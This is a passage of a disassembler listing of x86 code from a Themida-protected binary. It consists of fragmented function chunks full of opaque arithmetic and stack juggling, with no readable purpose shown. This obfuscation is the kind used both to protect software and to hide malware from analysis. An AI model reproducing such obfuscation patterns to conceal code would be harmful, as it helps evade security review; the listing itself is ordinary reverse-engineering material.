; FUNCTION CHUNK AT 00566B0E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00566CD6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568A25 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005690A3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B4D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C008 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F456 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056FA5C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005716CF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00571FD7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005728A1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572C8A SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0057339B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573C13 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573F55 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005741C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574396 SIZE 00000011 BYTES
mov eax, [esp+0]
push edi
push 7F6Dh
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
jmp loc_5716CF
sub_572DD7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_572DEF: ; CODE XREF: sub_574896-D7E3j
xchg eax, [esp-8+arg_4]
pop esp
pop [esp-0Ch+arg_8]
pop esp
xor [esp-14h+arg_10], eax
pushf
jmp loc_568B25
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ABD0
loc_572E00: ; CODE XREF: sub_56ABD0+8602j
mov esi, 294C6B63h
dec esi
jmp loc_571EB3
; END OF FUNCTION CHUNK FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_572E0B: ; CODE XREF: sub_5734A7-11DD0j
pop edx
sub esi, edi
push [esp+4+var_4]
jmp loc_56B7CD
; END OF FUNCTION CHUNK FOR sub_5734A7
; =============== S U B R O U T I N E =======================================
sub_572E16 proc near ; DATA XREF: Themida_:0055FF48o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005606A5 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00560FF5 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00562454 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005628E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005647B4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056553A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005666D0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567B1A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569A2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A3F9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AF59 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F4BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056F8E0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00570D0D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571254 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057267E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005744A9 SIZE 00000053 BYTES
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
sub esp, 4
mov [esp+4+var_4], eax
push 34C9h
push esp
pop [esp+0Ch+var_C]
jmp loc_5666D0
sub_572E16 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_572E36: ; CODE XREF: sub_560EA2+C494j
or ebx, 1F746242h
shl ebx, 4
not ebx
xor ebx, 0C96F4BF8h
jmp loc_560DCE
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_572E4C: ; CODE XREF: sub_5685B2-7E67j
mov ebx, edx
mov esi, ebx
jmp loc_564EB8
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_572E55: ; CODE XREF: sub_566117+C540j
add ebp, ebx
pop ebx
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 72FB3493h
sub esi, 7BE20479h
not esi
add esi, 707F4027h
jmp sub_568DD7
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_572E79: ; CODE XREF: sub_561418+13C2Dj
dec edx
push edx
not [esp+4+var_4]
jmp loc_5703CD
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_572E83: ; CODE XREF: sub_57146D-6FA7j
movzx eax, al
push small 5D67h
mov [esp-4+arg_0], ax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_572E93: ; CODE XREF: sub_563FA2+1140Fj
add dword ptr [esp+0], 4
pop esi
add esi, 4
sub esp, 4
jmp loc_5613C9
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_572EA6: ; CODE XREF: sub_56CC46-FFj
shl edx, 6
shl edx, 1
xor edx, 4FB24684h
add ebx, edx
jmp loc_565620
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_572EB8: ; CODE XREF: sub_5666C3+140j
xor ebp, 0A333814Bh
mov edx, ebp
pop ebp
jmp loc_5752B1
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_572EC6: ; CODE XREF: sub_56351E+6BA1j
add edi, 4
jmp loc_5742B1
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
loc_572ED1: ; CODE XREF: Themida_:00564E6Dj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5625C1
; =============== S U B R O U T I N E =======================================
sub_572EDC proc near ; DATA XREF: Themida_:0055FE68o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056037F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C24D SIZE 00000019 BYTES
push dword ptr [esp+0]
jmp loc_56C24D
sub_572EDC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_572EE4: ; CODE XREF: sub_561541+A95Fj
add esp, 4
mov ecx, edx
pop edx
push edx
push ebp
mov ebp, 0
jmp loc_56018C
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_572EF9: ; CODE XREF: sub_569B75+1B0Bj
mov esi, [esp+0]
add esp, 4
jmp loc_56054F
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_572F04: ; CODE XREF: sub_57354D-1660j
sub [esp+4+var_4], 7BAE44F2h
push [esp+4+var_4]
pop ecx
add esp, 4
jmp loc_560E6D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_572F17: ; CODE XREF: sub_574304-910Aj
add esp, 4
push ebp
push esp
jmp loc_566AB0
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_572F21: ; CODE XREF: sub_569A84+2301j
add esp, 4
sub edi, 240F2AC2h
add edi, ebp
push edx
mov edx, 240F2AC2h
add edi, edx
pop edx
push [esp+8+var_8]
pop ebp
jmp loc_57336F
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562954
loc_572F41: ; CODE XREF: sub_562954+681Aj
sub ebp, 636235EDh
add ebp, edx
jmp sub_560D31
; END OF FUNCTION CHUNK FOR sub_562954
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_572F4E: ; CODE XREF: sub_564EBE-2754j
and esi, 15B779F0h
sub esi, 1027080Ch
add edi, esi
mov esi, [esp+8+var_8]
add esp, 4
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_568575
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_572F6D: ; CODE XREF: sub_570CE4-910Ej
push ecx
jmp loc_57391E
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_572F73: ; CODE XREF: sub_56DA43+2D3j
add ebp, 0C5ECB269h
sub ecx, ebp
pop ebp
pop ebp
add ecx, 7E745EFCh
jmp loc_560024
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_572F88: ; CODE XREF: sub_5738F4+1j
mov ebx, 45182683h
dec ebx
dec ebx
sub ebx, 358B3C74h
sub ebx, 49FC68F7h
add ebx, 0B6889677h
or eax, ebx
jmp loc_57067D
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_572FA8: ; CODE XREF: sub_56B577+1Dj
push esi
jmp loc_570288
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561B55
loc_572FAE: ; CODE XREF: sub_561B55+360j
and edi, 25FF5C42h
or edi, 3BDF0801h
push ebx
mov ebx, 1F72265Fh
inc ebx
sub ebx, 0DF731A21h
sub edi, ebx
pop ebx
add esi, edi
mov edi, [esp+0]
add esp, 4
xor esi, [esp-4+arg_0]
xor [esp-4+arg_0], esi
xor esi, [esp-4+arg_0]
pop esp
sub [esp-8+arg_4], eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_561B55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E5BB
loc_572FE8: ; CODE XREF: sub_56E5BB-D3A9j
add edx, ecx
add edx, 1EFD099Bh
mov ecx, [esp+18h+var_18]
add esp, 4
push edx
jmp loc_5689D9
; END OF FUNCTION CHUNK FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_572FFF: ; CODE XREF: sub_573612+14B8j
push 350E0E94h
pop esi
xor esi, 67983911h
mov edi, esi
pop esi
jmp loc_563112
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_573013: ; CODE XREF: sub_56BC97-607Aj
xor ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_57170B
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_57301E: ; CODE XREF: sub_56C83E+3096j
mov edi, 757B74C4h
xor [esp+8+var_4], edi
pop edi
push [esp+4+var_4]
pop eax
add esp, 4
push edx
mov edx, 422736BEh
or edx, 51CD02EAh
xor edx, 55F16EE9h
push edi
push ebx
mov ebx, 1556429Fh
neg ebx
push edx
mov edx, 2A680802h
jmp loc_56E9F6
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_573055: ; CODE XREF: sub_56DAB2-9A4Dj
mov edx, 3E0F59A5h
push ecx
mov ecx, 10E219E5h
or edx, ecx
pop ecx
add edx, 0FC01E915h
add eax, 7A021AFCh
push esi
mov esi, 42A649D4h
sub eax, esi
pop esi
sub eax, edx
add eax, 42A649D4h
sub eax, 7A021AFCh
mov edx, [esp+8+var_8]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
mov edi, [esp+8+var_8]
add esp, 4
jmp sub_56356E
; END OF FUNCTION CHUNK FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57117B
loc_5730A7: ; CODE XREF: sub_57117B+Dj
pop ebx
mov cx, [esp+0]
add esp, 2
push small 68FDh
mov [esp+0], cx
mov cl, 3Ah
sub al, cl
pop cx
push 3D28h
mov [esp+0], edx
push eax
push 3C72h
mov [esp+8+var_8], ebx
push ecx
mov cl, 8Ah
neg cl
dec cl
jmp loc_571ABE
; END OF FUNCTION CHUNK FOR sub_57117B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_5730DA: ; CODE XREF: sub_57523A-E811j
pop ecx
add edi, 0B7F2A3Bh
add edi, edx
jmp loc_5659E2
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
loc_5730E8: ; CODE XREF: Themida_:0056D5A0j
pop esp
mov [esp], edi
push esp
pop edi
push edx
push ebp
push esi
mov esi, 4
mov ebp, esi
jmp loc_5640EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5730FD: ; CODE XREF: sub_57549C-13139j
add ebp, 0EA12034Dh
add eax, 7895591Ch
sub eax, ebp
sub eax, 7895591Ch
pop ebp
sub eax, ebp
push ebp
mov ebp, 29D72F67h
shl ebp, 5
xor ebp, 7C55563h
inc ebp
shr ebp, 6
add ebp, 1C1BDCE8h
add eax, ebp
jmp loc_568E12
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D93
loc_573132: ; CODE XREF: sub_568D93-4179j
mov [esp-4+arg_0], esi
push ebx
jmp loc_56F076
; END OF FUNCTION CHUNK FOR sub_568D93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_57313B: ; CODE XREF: sub_57549C-4C01j
mov ebp, 2D8A0639h
shl ebp, 6
inc ebp
sub ebp, 5B745DE1h
push esi
jmp loc_56FAD1
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_573150: ; CODE XREF: sub_571088+3B3Dj
mov esi, esp
push edx
jmp loc_56EE69
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
loc_573158: ; CODE XREF: Themida_:00570BE7j
mov esp, [esp]
jmp loc_5672E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_573160: ; CODE XREF: sub_570621-B8BBj
sub ebp, ebx
jmp loc_56244E
; END OF FUNCTION CHUNK FOR sub_570621
; =============== S U B R O U T I N E =======================================
sub_573167 proc near ; CODE XREF: sub_56E0B0+2FD3j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00565228 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005652B5 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00565358 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565DA0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056895D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00568F59 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056901B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DFAA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005735F9 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 4
add ebp, ecx
pop ecx
push edx
jmp loc_56895D
sub_573167 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_57317E: ; CODE XREF: sub_56B1DC-47A7j
add [esp+8+var_8], 4
pop eax
jmp loc_5682A8
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_57318B: ; CODE XREF: sub_56671D+383Bj
add al, 3Ah
push 3949h
mov [esp+4+var_4], ecx
jmp loc_574839
; END OF FUNCTION CHUNK FOR sub_56671D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ABD0
loc_57319A: ; CODE XREF: sub_56ABD0+81AEj
add edx, ebx
push esi
mov esi, 7D53D85h
push esi
not [esp+4+var_4]
pop esi
not esi
xor esi, 28B3415Fh
sub esi, 36C95550h
sub esi, 0CE50D3E6h
sub edx, esi
mov esi, [esp+0]
add esp, 4
pop ebx
sub edx, eax
sub esp, 4
mov [esp+0], esi
jmp loc_572E00
; END OF FUNCTION CHUNK FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_5731D7: ; CODE XREF: sub_56C7AA-20E4j
sub ebx, esi
mov esi, ebx
pop ebx
push ebx
jmp loc_565F37
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_5731E2: ; CODE XREF: sub_56B1DC+8478j
shr esi, 5
push 2D52h
mov [esp+0Ch+var_C], ecx
jmp loc_56F143
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5731F2: ; CODE XREF: sub_561027+1j
pop eax
pop ebx
jmp loc_573909
; END OF FUNCTION CHUNK FOR sub_561027
; =============== S U B R O U T I N E =======================================
sub_5731F9 proc near ; CODE XREF: sub_572641-DC33j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562A4A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574E8E SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov cl, 47h
xor cl, 46h
sub bl, 0E2h
add bl, cl
jmp loc_562A4A
sub_5731F9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_573211: ; CODE XREF: sub_56E96D-47F7j
add ebp, 4
jmp loc_570C89
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_57321C: ; CODE XREF: sub_567B29+BBB4j
mov [esp+8+var_8], eax
mov eax, 0
push ecx
mov ecx, 38FA1772h
or ecx, 481D3BA9h
xchg edi, ecx
dec edi
xchg edi, ecx
add ecx, 0ADFACBABh
sub eax, ecx
pop ecx
add eax, ebx
add eax, 26FA0BA5h
mov ecx, [eax]
mov eax, [esp+8+var_8]
add esp, 4
jmp loc_567D42
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_573252: ; CODE XREF: sub_567D31+DEFj
sub dword ptr [esp+0], 48C03077h
push dword ptr [esp+0]
pop esi
add esp, 4
jmp loc_56567A
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
loc_573265: ; CODE XREF: Themida_:00563C29j
add ecx, 20F30807h
jmp loc_564480
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_573270: ; CODE XREF: sub_561027+10B39j
xor esi, 0B5081C55h
xor edi, esi
jmp loc_574CE8
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
loc_57327D: ; CODE XREF: Themida_:00564551j
mov edx, esp
add edx, 4
push esi
mov esi, 4
sub edx, esi
pop esi
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], eax
push esp
pop eax
jmp loc_568737
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_5732AC: ; CODE XREF: sub_5747D7-12725j
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 525529EBh
not edi
neg edi
shr edi, 1
xor edi, 292A94F2h
sub eax, edi
pop edi
jmp loc_56124A
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5732CE: ; CODE XREF: sub_570732-A0A8j
add esp, 4
sub [esp+14h+var_10], 2E2D13C5h
sub [esp+14h+var_10], ebp
add [esp+14h+var_10], 2E2D13C5h
push [esp+14h+var_14]
jmp loc_56C9E4
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_5732ED: ; CODE XREF: sub_5745B5-4625j
push ecx
mov ch, 0E3h
add ch, 8Dh
xor dh, ch
mov ecx, [esp+8+var_8]
add esp, 4
shr dh, 1
sub dh, 0B7h
sub al, 17h
jmp loc_565472
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
loc_573307: ; CODE XREF: Themida_:0056D7E7j
push ecx
push 4B43127Bh
pop ecx
add ecx, 1B9967B2h
mov ebx, ecx
pop ecx
mov esi, ebx
jmp loc_56312C
; ---------------------------------------------------------------------------
loc_57331E: ; CODE XREF: Themida_:0056FF0Fj
sub ebx, 8DC897C7h
add ebp, ebx
pop ebx
push esi
jmp loc_5716AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_57332D: ; CODE XREF: sub_56D359+2912j
pop esi
add esp, 4
push ebp
jmp loc_5646CE
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_573337: ; CODE XREF: sub_57354D-5D57j
mov [esp+4+var_4], esi
not [esp+4+var_4]
jmp loc_561E82
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_573342: ; CODE XREF: sub_5690E8+12ABj
neg ebx
jmp loc_565E7D
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_573349: ; CODE XREF: sub_564020+3DE7j
sub ebx, edx
add ebx, 59B77967h
sub ebx, 2E3322D5h
push edx
mov edx, 0C3D0404h
not edx
jmp loc_571AE7
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_573364: ; CODE XREF: sub_5687A3+A558j
mov [esp+4+var_4], ecx
sub esp, 4
jmp loc_568B5A
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_57336F: ; CODE XREF: sub_569A84+94B8j
add esp, 4
push 36E3h
mov [esp+8+var_8], ecx
mov ecx, 2
add edi, ecx
pop ecx
push edi
push [esp+8+var_4]
pop edi
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov cx, [esp-4+arg_0]
push ebx
jmp loc_570CDE
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_57339B: ; CODE XREF: sub_572DD7-532j
xor [esp+0], edi
xor edi, [esp+0]
mov esp, [esp+0]
sub esp, 4
jmp loc_56F456
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_5733AF: ; CODE XREF: sub_571C93-B72Dj
pop ebx
sub edi, 798212D4h
add edi, ecx
add edi, 798212D4h
pop ecx
push esi
mov esi, 6A056D72h
jmp loc_565CB0
; END OF FUNCTION CHUNK FOR sub_571C93
; =============== S U B R O U T I N E =======================================
sub_5733CA proc near ; CODE XREF: sub_56DD54+3027j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560B9A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562368 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562854 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00566911 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566FC6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569F5D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C540 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D1D5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570925 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570E92 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573763 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00574D14 SIZE 0000000E BYTES
push ebp
mov ebp, 416E25F6h
not ebp
sub ebp, 23E51265h
dec ebp
jmp loc_574D14
sub_5733CA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_5733DE: ; CODE XREF: sub_5738F4-3266j
mov esi, 3EDD43F8h
jmp loc_564D17
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_5733E8: ; CODE XREF: sub_574949-13DDFj
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
xor bl, al
movzx eax, al
jmp loc_570394
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_57340C: ; CODE XREF: sub_566DFE+5E8Aj
mov edi, [esp+0]
jmp loc_561E2F
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_573414: ; CODE XREF: sub_574656-BF24j
mov ebx, 2C265B02h
sub [esp+10h+var_C], ebx
mov ebx, [esp+10h+var_10]
add esp, 4
jmp loc_5676E2
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_573428: ; CODE XREF: sub_569DB5+6A9Bj
add esi, 1
jmp loc_5698A4
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565AFE
loc_573430: ; CODE XREF: sub_565AFE-1AECj
pop ecx
add edx, 2
push edx
push dword ptr [esp+4]
jmp loc_563B56
; END OF FUNCTION CHUNK FOR sub_565AFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_573441: ; CODE XREF: sub_572641-2059j
sub bh, 0A0h
pop ecx
jmp loc_572746
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_57344A: ; CODE XREF: sub_56FA44-64C2j
add ecx, esi
push esi
mov esi, 48730547h
sub ecx, esi
jmp loc_572D3F
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_573459: ; CODE XREF: sub_5681F5-81F3j
and eax, 1BB05FCAh
shl eax, 6
dec eax
dec eax
xchg eax, esi
not esi
xchg eax, esi
jmp loc_56B761
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C553
loc_57346C: ; CODE XREF: sub_56C553+9j
push esi
mov esi, 2000000h
push 544Fh
jmp loc_56134D
; END OF FUNCTION CHUNK FOR sub_56C553
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_57347C: ; CODE XREF: sub_56616D+AE99j
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
jmp loc_574315
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_573491: ; CODE XREF: sub_563A7F+1124Aj
mov al, bl
mov dh, al
pop eax
mov bl, cl
mov cl, dh
jmp loc_56C682
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
loc_57349F: ; CODE XREF: Themida_:0056979Dj
add esp, 4
jmp loc_5673C9
; =============== S U B R O U T I N E =======================================
sub_5734A7 proc near ; DATA XREF: Themida_:0055FE20o
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560B84 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005616BD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00563C03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565554 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056676E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566BB0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00568FDE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056B1FF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B7CD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056BB11 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056C1CE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056C5A6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F10C SIZE 00000012 BYTES
